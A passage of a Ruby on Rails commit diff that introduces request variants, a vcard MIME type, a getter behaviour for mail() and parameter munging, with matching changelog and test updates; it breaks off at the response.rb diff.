aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.travis.yml1
-rw-r--r--Gemfile2
-rw-r--r--actionmailer/CHANGELOG.md19
-rw-r--r--actionmailer/lib/action_mailer/base.rb4
-rw-r--r--actionmailer/test/base_test.rb21
-rw-r--r--actionmailer/test/i18n_with_controller_test.rb3
-rw-r--r--actionpack/CHANGELOG.md66
-rw-r--r--actionpack/actionpack.gemspec2
-rw-r--r--actionpack/lib/abstract_controller/collector.rb12
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb3
-rw-r--r--actionpack/lib/action_controller.rb2
-rw-r--r--actionpack/lib/action_controller/base.rb20
-rw-r--r--actionpack/lib/action_controller/metal/mime_responds.rb58
-rw-r--r--actionpack/lib/action_controller/metal/rendering.rb3
-rw-r--r--actionpack/lib/action_dispatch/http/mime_negotiation.rb14
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb11
-rw-r--r--actionpack/lib/action_dispatch/http/mime_types.rb1
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb4
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/exception_wrapper.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb4
-rw-r--r--actionpack/lib/action_dispatch/routing/redirection.rb33
-rw-r--r--actionpack/test/abstract/collector_test.rb2
-rw-r--r--actionpack/test/abstract_unit.rb2
-rw-r--r--actionpack/test/controller/flash_test.rb4
-rw-r--r--actionpack/test/controller/localized_templates_test.rb11
-rw-r--r--actionpack/test/controller/mime/respond_to_test.rb54
-rw-r--r--actionpack/test/controller/render_test.rb2
-rw-r--r--actionpack/test/controller/resources_test.rb5
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb6
-rw-r--r--actionpack/test/dispatch/request/query_string_parsing_test.rb15
-rw-r--r--actionpack/test/dispatch/request_test.rb21
-rw-r--r--actionpack/test/dispatch/routing_test.rb10
-rw-r--r--actionpack/test/fixtures/localized/hello_world.it.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb1
-rw-r--r--actionview/CHANGELOG.md44
-rw-r--r--actionview/actionview.gemspec4
-rw-r--r--actionview/lib/action_view.rb1
-rw-r--r--actionview/lib/action_view/base.rb2
-rw-r--r--actionview/lib/action_view/helpers.rb6
-rw-r--r--actionview/lib/action_view/helpers/active_model_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/asset_tag_helper.rb9
-rw-r--r--actionview/lib/action_view/helpers/form_helper.rb3
-rw-r--r--actionview/lib/action_view/helpers/form_options_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/number_helper.rb9
-rw-r--r--actionview/lib/action_view/helpers/tags.rb64
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_helpers.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/label.rb1
-rw-r--r--actionview/lib/action_view/helpers/text_helper.rb4
-rw-r--r--actionview/lib/action_view/helpers/translation_helper.rb30
-rw-r--r--actionview/lib/action_view/lookup_context.rb8
-rw-r--r--actionview/lib/action_view/railtie.rb9
-rw-r--r--actionview/lib/action_view/rendering.rb6
-rw-r--r--actionview/lib/action_view/template/error.rb3
-rw-r--r--actionview/lib/action_view/template/handlers/erb.rb4
-rw-r--r--actionview/lib/action_view/template/resolver.rb19
-rw-r--r--actionview/lib/action_view/template/types.rb2
-rw-r--r--actionview/lib/action_view/testing/resolvers.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb2
-rw-r--r--actionview/test/abstract_unit.rb2
-rw-r--r--actionview/test/template/erb_util_test.rb46
-rw-r--r--actionview/test/template/form_collections_helper_test.rb36
-rw-r--r--actionview/test/template/form_helper_test.rb36
-rw-r--r--actionview/test/template/lookup_context_test.rb11
-rw-r--r--actionview/test/template/number_helper_test.rb3
-rw-r--r--actionview/test/template/render_test.rb4
-rw-r--r--actionview/test/template/testing/fixture_resolver_test.rb4
-rw-r--r--actionview/test/template/text_helper_test.rb5
-rw-r--r--actionview/test/template/translation_helper_test.rb8
-rw-r--r--activemodel/CHANGELOG.md4
-rw-r--r--activemodel/lib/active_model/attribute_methods.rb2
-rw-r--r--activemodel/lib/active_model/serializers/xml.rb2
-rw-r--r--activemodel/lib/active_model/validations/validates.rb2
-rw-r--r--activerecord/CHANGELOG.md87
-rw-r--r--activerecord/activerecord.gemspec2
-rw-r--r--activerecord/lib/active_record/associations/builder/belongs_to.rb10
-rw-r--r--activerecord/lib/active_record/associations/builder/singular_association.rb2
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb19
-rw-r--r--activerecord/lib/active_record/base.rb2
-rw-r--r--activerecord/lib/active_record/callbacks.rb4
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb4
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb21
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid.rb8
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb54
-rw-r--r--activerecord/lib/active_record/core.rb2
-rw-r--r--activerecord/lib/active_record/enum.rb26
-rw-r--r--activerecord/lib/active_record/fixture_set/file.rb3
-rw-r--r--activerecord/lib/active_record/fixtures.rb32
-rw-r--r--activerecord/lib/active_record/migration.rb25
-rw-r--r--activerecord/lib/active_record/persistence.rb3
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb2
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb16
-rw-r--r--activerecord/test/cases/adapter_test.rb4
-rw-r--r--activerecord/test/cases/adapters/oracle/synonym_test.rb17
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb11
-rw-r--r--activerecord/test/cases/associations/has_one_associations_test.rb8
-rw-r--r--activerecord/test/cases/associations/has_one_through_associations_test.rb8
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb35
-rw-r--r--activerecord/test/cases/dirty_test.rb8
-rw-r--r--activerecord/test/cases/finder_test.rb11
-rw-r--r--activerecord/test/cases/fixture_set/file_test.rb55
-rw-r--r--activerecord/test/cases/query_cache_test.rb9
-rw-r--r--activerecord/test/cases/scoping/default_scoping_test.rb2
-rw-r--r--activerecord/test/cases/timestamp_test.rb58
-rw-r--r--activerecord/test/cases/validations/uniqueness_validation_test.rb8
-rw-r--r--activerecord/test/cases/validations_test.rb2
-rw-r--r--activerecord/test/schema/oracle_specific_schema.rb3
-rw-r--r--activesupport/CHANGELOG.md84
-rw-r--r--activesupport/activesupport.gemspec4
-rw-r--r--activesupport/lib/active_support.rb7
-rw-r--r--activesupport/lib/active_support/cache.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/array/prepend_and_append.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/class.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute_accessors.rb185
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/calculations.rb21
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/reporting.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/time.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/object/json.rb39
-rw-r--r--activesupport/lib/active_support/core_ext/string/inflections.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb64
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb21
-rw-r--r--activesupport/lib/active_support/dependencies.rb20
-rw-r--r--activesupport/lib/active_support/duration.rb8
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb5
-rw-r--r--activesupport/lib/active_support/json/encoding.rb153
-rw-r--r--activesupport/lib/active_support/logger.rb2
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb6
-rw-r--r--activesupport/lib/active_support/message_verifier.rb6
-rw-r--r--activesupport/lib/active_support/number_helper.rb327
-rw-r--r--activesupport/lib/active_support/number_helper/number_converter.rb182
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_currency_converter.rb46
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb21
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_converter.rb66
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb58
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb12
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_phone_converter.rb49
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb62
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb1
-rw-r--r--activesupport/lib/active_support/testing/declarative.rb17
-rw-r--r--activesupport/lib/active_support/testing/isolation.rb2
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb30
-rw-r--r--activesupport/test/core_ext/class/attribute_accessor_test.rb70
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb17
-rw-r--r--activesupport/test/core_ext/duration_test.rb26
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb7
-rw-r--r--activesupport/test/core_ext/kernel_test.rb16
-rw-r--r--activesupport/test/core_ext/module/attribute_accessor_test.rb26
-rw-r--r--activesupport/test/core_ext/numeric_ext_test.rb49
-rw-r--r--activesupport/test/core_ext/range_ext_test.rb2
-rw-r--r--activesupport/test/dependencies_test.rb26
-rw-r--r--activesupport/test/inflector_test.rb9
-rw-r--r--activesupport/test/inflector_test_cases.rb1
-rw-r--r--activesupport/test/json/encoding_test.rb61
-rw-r--r--activesupport/test/message_encryptor_test.rb13
-rw-r--r--activesupport/test/message_verifier_test.rb8
-rw-r--r--activesupport/test/number_helper_test.rb7
-rw-r--r--activesupport/test/time_zone_test.rb30
-rw-r--r--guides/bug_report_templates/active_record_master.rb1
-rw-r--r--guides/code/getting_started/public/robots.txt2
-rw-r--r--guides/source/2_2_release_notes.md2
-rw-r--r--guides/source/4_1_release_notes.md504
-rw-r--r--guides/source/_welcome.html.erb2
-rw-r--r--guides/source/action_view_overview.md10
-rw-r--r--guides/source/active_record_callbacks.md2
-rw-r--r--guides/source/active_record_querying.md2
-rw-r--r--guides/source/active_record_validations.md2
-rw-r--r--guides/source/active_support_core_extensions.md10
-rw-r--r--guides/source/api_documentation_guidelines.md8
-rw-r--r--guides/source/association_basics.md6
-rw-r--r--guides/source/configuring.md19
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md2
-rw-r--r--guides/source/documents.yaml5
-rw-r--r--guides/source/form_helpers.md36
-rw-r--r--guides/source/getting_started.md1
-rw-r--r--guides/source/kindle/KINDLE.md26
-rw-r--r--guides/source/layouts_and_rendering.md2
-rw-r--r--guides/source/plugins.md30
-rw-r--r--guides/source/rails_on_rack.md2
-rw-r--r--guides/source/security.md48
-rw-r--r--guides/source/testing.md23
-rw-r--r--guides/source/upgrading_ruby_on_rails.md109
-rw-r--r--railties/CHANGELOG.md33
-rw-r--r--railties/lib/rails/application.rb39
-rw-r--r--railties/lib/rails/application/default_middleware_stack.rb10
-rw-r--r--railties/lib/rails/commands/plugin.rb14
-rw-r--r--railties/lib/rails/generators/app_base.rb26
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb7
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/robots.txt2
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Gemfile2
-rw-r--r--railties/test/application/configuration_test.rb57
-rw-r--r--railties/test/application/initializers/i18n_test.rb11
-rw-r--r--railties/test/application/middleware_test.rb2
-rw-r--r--railties/test/generators/app_generator_test.rb40
-rw-r--r--railties/test/generators/plugin_generator_test.rb15
-rw-r--r--railties/test/generators/shared_generator_tests.rb16
-rw-r--r--railties/test/rails_info_controller_test.rb2
-rw-r--r--railties/test/railties/engine_test.rb2
205 files changed, 3304 insertions, 1286 deletions
diff --git a/.travis.yml b/.travis.yml
index 1e354a8fb0..c8afb46187 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -5,6 +5,7 @@ before_install:
rvm:
- 1.9.3
- 2.0.0
+ - 2.1.0-preview2
- rbx-2.2.1
- jruby-19mode
env:
diff --git a/Gemfile b/Gemfile
index 6df67bda65..746dbac325 100644
--- a/Gemfile
+++ b/Gemfile
@@ -12,7 +12,6 @@ gem 'bcrypt-ruby', '~> 3.1.2'
gem 'jquery-rails', '~> 2.2.0'
gem 'turbolinks'
gem 'coffee-rails', '~> 4.0.0'
-gem 'arel', github: 'rails/arel', branch: 'master'
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
@@ -45,7 +44,6 @@ group :test do
end
platforms :ruby do
- gem 'yajl-ruby'
gem 'nokogiri', '>= 1.4.5'
# Needed for compiling the ActionDispatch::Journey parser
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index dc8c6bdf74..857cde399a 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,3 +1,22 @@
+* Calling `mail()` without arguments serves as getter for the current mail
+ message and keeps previously set headers.
+
+ Example:
+
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ mail subject: "subject", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail # => returns the current mail message
+ end
+ end
+
+ *Yves Senn*
+
* Instrument the generation of Action Mailer messages. The time it takes to
generate a message is written to the log.
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 501fee55aa..5723b2cc1b 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -373,6 +373,8 @@ module ActionMailer
include AbstractController::AssetPaths
include AbstractController::Callbacks
+ include ActionView::Layouts
+
PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
def _protected_ivars # :nodoc:
@@ -689,6 +691,8 @@ module ActionMailer
# end
#
def mail(headers = {}, &block)
+ return @_message if @_mail_was_called && headers.blank? && !block
+
@_mail_was_called = true
m = @_message
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index b74728ae34..c1759d9b92 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -671,6 +671,27 @@ class BaseTest < ActiveSupport::TestCase
assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
end
+ test "mail() without arguments serves as getter for the current mail message" do
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ headers('X-Special-Header' => 'special indeed!')
+ mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail.to << "jane@example.com"
+ end
+ end
+
+ mail = MailerWithCallback.welcome
+ assert_equal "subject", mail.subject
+ assert_equal ["joe@example.com", "jane@example.com"], mail.to
+ assert_equal "hello world", mail.body.encoded.strip
+ assert_equal "special indeed!", mail["X-Special-Header"].to_s
+ end
+
protected
# Execute the block setting the given values and restoring old values after
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index ab5eaaa9d5..14a1b11b6d 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -15,9 +15,6 @@ class I18nTestMailer < ActionMailer::Base
end
end
-# Emulate AV railtie
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
class TestController < ActionController::Base
def send_mail
I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index e649847990..5f0f1b78d1 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,3 +1,63 @@
+* Add Mime::Type.register "text/vcard", :vcf to the default list of mime types
+
+ *DHH*
+
+* Remove deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
+
+ *kennyj*
+
+* Fix regression when using `ActionView::Helpers::TranslationHelper#translate` with
+ `options[:raise]`.
+
+ This regression was introduced at ec16ba75a5493b9da972eea08bae630eba35b62f.
+
+ *Shota Fukumori (sora_h)*
+
+* Introducing Variants
+
+ We often want to render different html/json/xml templates for phones,
+ tablets, and desktop browsers. Variants make it easy.
+
+ The request variant is a specialization of the request format, like `:tablet`,
+ `:phone`, or `:desktop`.
+
+ You can set the variant in a before_action:
+
+ request.variant = :tablet if request.user_agent =~ /iPad/
+
+ Respond to variants in the action just like you respond to formats:
+
+ respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+ end
+
+ Provide separate templates for each format and variant:
+
+ app/views/projects/show.html.erb
+ app/views/projects/show.html+tablet.erb
+ app/views/projects/show.html+phone.erb
+
+ *Łukasz Strzałkowski*
+
+* Fix header `Content-Type: #<Mime::NullType:...>` in localized template.
+
+ When localized template has no format in the template name,
+ the response now has the default and correct `content-type`.
+
+ Fixes #13064.
+
+ *Angelo Capilleri*
+
+* Try to escape each part of a url correctly when using a redirect route.
+
+ Fixes #13110.
+
+ *Andrew White*
+
* Better error message for typos in assert_response argument.
When the response type argument to `assert_response` is not a known
@@ -130,10 +190,6 @@
*Vasiliy Ermolovich*
-* Separate Action View completely from Action Pack.
-
- *Łukasz Strzałkowski*
-
* Development mode exceptions are rendered in text format in case of XHR request.
*Kir Shatrov*
@@ -234,7 +290,7 @@
*Yves Senn*, *Andrew White*
-* ActionView extracted from ActionPack.
+* Action View extracted from Action Pack.
*Piotr Sarnacki*, *Łukasz Strzałkowski*
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index 8a85bf346a..1d6009bab8 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -23,7 +23,7 @@ Gem::Specification.new do |s|
s.add_dependency 'rack', '~> 1.5.2'
s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'actionview', version
- s.add_development_dependency 'actionview', version
s.add_development_dependency 'activemodel', version
end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7ddf0..ddd56b354a 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
protected
def method_missing(symbol, &block)
- mime_constant = Mime.const_get(symbol.upcase)
+ const_name = symbol.upcase
+
+ unless Mime.const_defined?(const_name)
+ raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+ "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+ "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+ "be sure to nest your variant response within a format response: " \
+ "format.html { |html| html.tablet { ... } }"
+ end
+
+ mime_constant = Mime.const_get(const_name)
if Mime::SET.include?(mime_constant)
AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index fb8f40cb9b..fce61cddfd 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -13,6 +13,7 @@ module AbstractController
module Rendering
extend ActiveSupport::Concern
+ include ActionView::ViewPaths
# Normalize arguments, options and then delegates render_to_body and
# sticks the result in self.response_body.
@@ -102,6 +103,8 @@ module AbstractController
# :api: private
def _normalize_render(*args, &block)
options = _normalize_args(*args, &block)
+ #TODO: remove defined? when we restore AP <=> AV dependency
+ options[:variant] = request.variant if defined?(request) && request.variant.present?
_normalize_options(options)
options
end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 417d2efec2..50bc26a80f 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -50,7 +50,7 @@ module ActionController
end
# Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/module/attr_internal'
require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index c84776ab7a..85f0f50807 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -2,20 +2,6 @@ require "action_controller/log_subscriber"
require "action_controller/metal/params_wrapper"
module ActionController
- # The <tt>metal</tt> anonymous class was introduced to solve issue with including modules in <tt>ActionController::Base</tt>.
- # Modules needs to be included in particluar order. First we need to have <tt>AbstractController::Rendering</tt> included,
- # next we should include actuall implementation which would be for example <tt>ActionView::Rendering</tt> and after that
- # <tt>ActionController::Rendering</tt>. This order must be preserved and as we want to have middle module included dynamicaly
- # <tt>metal</tt> class was introduced. It has <tt>AbstractController::Rendering</tt> included and is parent class of
- # <tt>ActionController::Base</tt> which includes <tt>ActionController::Rendering</tt>. If we include <tt>ActionView::Rendering</tt>
- # beetween them to perserve the required order, we can simply do this by:
- #
- # ActionController::Base.superclass.send(:include, ActionView::Rendering)
- #
- metal = Class.new(Metal) do
- include AbstractController::Rendering
- end
-
# Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
# on request and then either it renders a template or redirects to another action. An action is defined as a public method
# on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
@@ -99,7 +85,7 @@ module ActionController
# or you can remove the entire session with +reset_session+.
#
# Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
- # This prevents the user from tampering with the session but also allows him to see its contents.
+ # This prevents the user from tampering with the session but also allows them to see its contents.
#
# Do not put secret information in cookie-based sessions!
#
@@ -174,7 +160,7 @@ module ActionController
# render action: "overthere" # won't be called if monkeys is nil
# end
#
- class Base < metal
+ class Base < Metal
abstract!
# We document the request and response methods here because albeit they are
@@ -214,6 +200,7 @@ module ActionController
end
MODULES = [
+ AbstractController::Rendering,
AbstractController::Translation,
AbstractController::AssetPaths,
@@ -221,6 +208,7 @@ module ActionController
HideActions,
UrlFor,
Redirecting,
+ ActionView::Layouts,
Rendering,
Renderers::All,
ConditionalGet,
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 84ade41036..54d3be68f0 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -181,13 +181,40 @@ module ActionController #:nodoc:
# end
# end
#
+ # Formats can have different variants.
+ #
+ # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+ # <tt>:phone</tt>, or <tt>:desktop<tt>.
+ #
+ # We often want to render different html/json/xml templates for phones,
+ # tablets, and desktop browsers. Variants make it easy.
+ #
+ # You can set the variant in a +before_action+:
+ #
+ # request.variant = :tablet if request.user_agent =~ /iPad/
+ #
+ # Respond to variants in the action just like you respond to formats:
+ #
+ # respond_to do |format|
+ # format.html do |html|
+ # html.tablet # renders app/views/projects/show.html+tablet.erb
+ # html.phone { extra_setup; render ... }
+ # end
+ # end
+ #
+ # Provide separate templates for each format and variant:
+ #
+ # app/views/projects/show.html.erb
+ # app/views/projects/show.html+tablet.erb
+ # app/views/projects/show.html+phone.erb
+ #
# Be sure to check the documentation of +respond_with+ and
# <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
def respond_to(*mimes, &block)
raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
if collector = retrieve_collector_from_mimes(mimes, &block)
- response = collector.response
+ response = collector.response(request.variant)
response ? response.call : render({})
end
end
@@ -260,7 +287,7 @@ module ActionController #:nodoc:
# * for other requests - i.e. data formats such as xml, json, csv etc, if
# the resource passed to +respond_with+ responds to <code>to_<format></code>,
# the method attempts to render the resource in the requested format
- # directly, e.g. for an xml request, the response is equivalent to calling
+ # directly, e.g. for an xml request, the response is equivalent to calling
# <code>render xml: resource</code>.
#
# === Nested resources
@@ -321,13 +348,15 @@ module ActionController #:nodoc:
# 2. <tt>:action</tt> - overwrites the default render action used after an
# unsuccessful html +post+ request.
def respond_with(*resources, &block)
- raise "In order to use respond_with, first you need to declare the formats your " \
- "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
+ if self.class.mimes_for_respond_to.empty?
+ raise "In order to use respond_with, first you need to declare the " \
+ "formats your controller responds to in the class level."
+ end
if collector = retrieve_collector_from_mimes(&block)
options = resources.size == 1 ? {} : resources.extract_options!
options = options.clone
- options[:default_response] = collector.response
+ options[:default_response] = collector.response(request.variant)
(options.delete(:responder) || self.class.responder).call(self, resources, options)
end
end
@@ -417,13 +446,28 @@ module ActionController #:nodoc:
@responses[mime_type] ||= block
end
- def response
- @responses.fetch(format, @responses[Mime::ALL])
+ def response(variant)
+ response = @responses.fetch(format, @responses[Mime::ALL])
+ if response.nil? || response.arity == 0
+ response
+ else
+ lambda { response.call VariantFilter.new(variant) }
+ end
end
def negotiate_format(request)
@format = request.negotiate_mime(@responses.keys)
end
+
+ class VariantFilter #:nodoc:
+ def initialize(variant)
+ @variant = variant
+ end
+
+ def method_missing(name)
+ yield if name == @variant
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index 5c48b4ab98..66d34f3b67 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -34,7 +34,8 @@ module ActionController
def _process_format(format)
super
- self.content_type ||= format.to_s
+ # format is a Mime::NullType instance here then this condition can't be changed to `if format`
+ self.content_type ||= format.to_s unless format.nil?
end
# Normalize arguments by catching blocks and setting them on :update.
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 40bb060d52..346598b6de 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
self.ignore_accept_header = false
end
+ attr_reader :variant
+
# The MIME type of the HTTP request, such as Mime::XML.
#
# For backward compatibility, the post \format is extracted from the
@@ -64,6 +66,18 @@ module ActionDispatch
end
end
+ # Sets the \variant for template.
+ def variant=(variant)
+ if variant.is_a? Symbol
+ @variant = variant
+ else
+ raise ArgumentError, "request.variant must be set to a Symbol, not a #{variant.class}. " \
+ "For security reasons, never directly set the variant to a user-provided value, " \
+ "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+ "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+ end
+ end
+
# Sets the \format by string extension, which can be used to force custom formats
# that are not controlled by the extension.
#
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index ef144c3c76..2a8ff0a5d2 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,5 +1,6 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/starts_ends_with'
module Mime
@@ -27,7 +28,7 @@ module Mime
class << self
def [](type)
return type if type.is_a?(Type)
- Type.lookup_by_extension(type) || NullType.new
+ Type.lookup_by_extension(type) || NullType.instance
end
def fetch(type)
@@ -292,13 +293,13 @@ module Mime
end
class NullType
+ include Singleton
+
def nil?
true
end
- def ref
- nil
- end
+ def ref; end
def respond_to_missing?(method, include_private = false)
method.to_s.ends_with? '?'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee5e7..0e4da36038 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
Mime::Type.register "text/css", :css
Mime::Type.register "text/calendar", :ics
Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
Mime::Type.register "image/png", :png, [], %w(png)
Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 99b81c898f..1318c62fbe 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -271,7 +271,7 @@ module ActionDispatch
# Override Rack's GET method to support indifferent access
def GET
- @env["action_dispatch.request.query_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:query, e)
end
@@ -279,7 +279,7 @@ module ActionDispatch
# Override Rack's POST method to support indifferent access
def POST
- @env["action_dispatch.request.request_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:request, e)
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
